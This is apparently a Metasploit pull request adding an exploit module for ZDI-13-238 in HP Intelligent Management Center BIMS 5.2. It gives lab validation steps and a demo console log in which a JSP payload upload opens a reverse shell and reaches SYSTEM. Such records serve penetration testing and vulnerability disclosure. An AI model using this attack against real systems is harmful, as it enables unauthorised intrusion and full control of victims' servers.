rapid7/metasploit-framework — pull request #2550 by jvazquez-r7 (2013-10-19 05:51:02+00:00)
Title: Add module for ZDI-13-238

HP Intelligent Management Center with BIMS 5.2 E0401 on Windows 2003 SP2.

**Validation**

- [ ] download HP IMC 5.2 E0401 trial from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_ES_Platform/index.aspx#.UmIcvJRASaI

- [ ] download the BIMS 5.2 E0401 component from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_BIM_Software/index.aspx#.UmIc8pRASaI

- [ ] Install both IMC nad the BIMS component

- [ ] Ensute the IMC service is running on the port 8080

- [ ] Run the msfconsole, use the module, check and exploit, you should get a session, check the demo belo

**DEMO**

```
msf > use exploit/windows/http/hp_imc_bims_upload
smsf exploit(hp_imc_bims_upload) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(hp_imc_bims_upload) > check
[+] The target is vulnerable.
msf exploit(hp_imc_bims_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8080 - Uploading the JSP payload...
[*] 192.168.172.136:8080 - JSP payload uploaded successfully
[*] 192.168.172.136:8080 - Executing payload...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.136:3875) at 2013-10-19 00:06:01 -0500
[+] Deleted ..\web\apps\upload\vmU4G4OQIwm8.jsp

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\iMC\client\bin>echo 3372204887;echo cYrFRdPCeLbuzRHnAGPpDBtyinYCnJYE
3372204887;echo cYrFRdPCeLbuzRHnAGPpDBtyinYCnJYE

C:\Program Files\iMC\client\bin>attrib.exe -r "..\web\apps\upload\vmU4G4OQIwm8.jsp" ; del.exe /f /q "..\web\apps\upload\vmU4G4OQIwm8.jsp" ; rm -f "..\web\apps\upload\vmU4G4OQIwm8.jsp" >/dev/null;echo KzqGldxkdRKDPeYySFaIleGyGLkIwkNX

C:\Program Files\iMC\client\bin>whoami
whoami
nt authority\system

C:\Program Files\iMC\client\bin>
```